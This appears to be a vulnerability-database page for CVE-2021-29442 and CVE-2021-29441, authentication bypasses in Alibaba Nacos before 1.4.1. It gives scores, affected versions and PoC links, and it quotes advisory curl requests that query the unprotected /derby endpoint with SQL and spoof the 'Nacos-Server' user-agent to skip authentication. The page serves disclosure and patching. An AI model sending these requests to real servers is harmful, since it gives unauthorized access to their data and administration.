CVE-2021-29442
Authentication bypass
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.6
Authentication bypass
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
CVE-2021-29442- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2021-0888
8.6
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
EUVD-2021-0888- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-xv5h-v7jh-p2qh No score
Authentication bypass for specific endpoint
The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
For example, the following request will list the tables of the database:
❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%
These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
GHSA-xv5h-v7jh-p2qh- Weakness
- CWE-306
- Updated
- 2026-11-02
NVD
8.6
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
CVE-2021-29442- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:P/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVCVE-2021-29441
9.8
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.
- Record
CVE-2021-29441- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSV
7.5
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
CVE-2021-29442- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-36hp-jr8h-556f No score
Authentication Bypass
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
- Record
GHSA-36hp-jr8h-556f- Weakness
- CWE-290
- Updated
- 2026-11-02
OSVGHSA-xv5h-v7jh-p2qh No score
Authentication bypass for specific endpoint
The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
For example, the following request will list the tables of the database:
❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%
These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
- Record
GHSA-xv5h-v7jh-p2qh- Weakness
- CWE-306
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
com.alibaba.nacos:nacos-commonMaven |
before 1.4.1 | 1.4.1 |
com.alibaba.nacos:nacos-commonMaven From an advisory covering 2 CVEs |
before 1.4.1, plus listed versions 0.1.00.2.00.2.10.2.1-RC10.3.0 Show 34 moreShow less0.3.0-RC10.4.00.5.00.6.00.6.10.6.20.8.00.8.10.8.20.9.00.9.11.0.01.0.0-RC11.0.0-RC21.0.0-RC31.0.0-RC41.0.11.1.01.1.11.1.21.1.31.1.41.2.01.2.0-beta.01.2.0-beta.11.2.11.3.01.3.11.3.1-BETA1.3.1-BETA.11.3.21.3.31.4.01.4.0-BETA |
1.4.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | VictorShem/QVD-2024-26473 | 2024-07-31 |
| PoC in GitHub | nanaao/cve-2021-29442-Nacos-Derby-rce-exp | 2024-11-25 |
| Nuclei | Nacos <1.4.1 - Authentication Bypass |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, exploits, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-29442 is a high vulnerability (CVSS 8.6) in Alibaba Nacos, published April 27, 2021. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 64.2%, the 99th percentile. Fixed in com.alibaba.nacos:nacos-common 1.4.1.
References
github.com/alibaba/nacos/issues/4463
github.com/advisories/GHSA-36hp-jr8h-556f
github.com/alibaba/nacos/pull/4517
nvd.nist.gov/vuln/detail/CVE-2021-29442
github.com/advisories/GHSA-xv5h-v7jh-p2qh
github.com/alibaba/nacos/pull/4703
github.com/alibaba/nacos/issues/4701
nvd.nist.gov/vuln/detail/CVE-2021-29441